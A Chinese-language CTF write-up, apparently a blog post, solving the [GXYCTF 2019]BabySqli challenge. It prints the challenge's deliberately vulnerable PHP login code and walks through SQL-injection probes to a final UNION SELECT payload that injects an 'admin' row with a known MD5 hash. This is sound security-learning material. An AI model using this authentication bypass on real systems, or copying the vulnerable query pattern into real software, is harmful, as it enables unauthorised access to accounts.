提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前言
提示:这里可以添加本文要记录的大概内容:
今天刷题,刷到了[GXYCTF 2019]BabySqli,这道看着十分简单,但是却毫无思路,觉着很无厘头的题目,也让我见识了一种用户验证漏洞
提示:以下是本篇文章正文内容,下面案例可供参考
一、题目相关知识
当mysql数据库查询不存在的用户等数据时,会自动构建虚拟数据进行返回。
例子:
构建一个用户表:
当使用联合即union select联合查询不存在的数据时:
Mysql数据库自动构建了不存在的用户user和密码3
二、题目的详解
只有一个登录框,进行常规的sql注入试试 ,尝试name=1' &pwd=123456,出现报错,是单引号闭合,尝试name=1' or 1=1 #&pwd=123456 直接在name处输入or,同样出现,进行了or的过滤,同时查看源代码发现有注释。
注释中的数字不超过7,尝试下base32解密
又是密文,双等号,会不会是base64呢,继续解密,解密得到如下语句:
select * from user where username = '$name'
好像没什么用啊,继续自己尝试下注入,于是试试使用union select查询下字段
会返回报错,当查询name=1' union select 1,2,3#&pwd=123456时返回wrong user错误,确认是3个字段,当继续尝试下爆破数据库时,发现只要出现()括号就会hack。至此,不会了,于是去看源码。
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
源码显示过滤了() or = 四个字符,同时需要查询到的数据数组第二位是admin,password使用md5加密后与查询到的第三位相等即可输出flag,于是可以通过mysql数据库会自动构建返回虚拟数据进行绕过。
name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e' # &pw=123456
总结
此题的绕过主要利用了mysql自动构建虚拟数据返回的原理,不查看源代码,真的没有思路,一直停留在如何绕过(),能不能利用其它注入等等,也是意识到这样的验证方式是存在漏洞的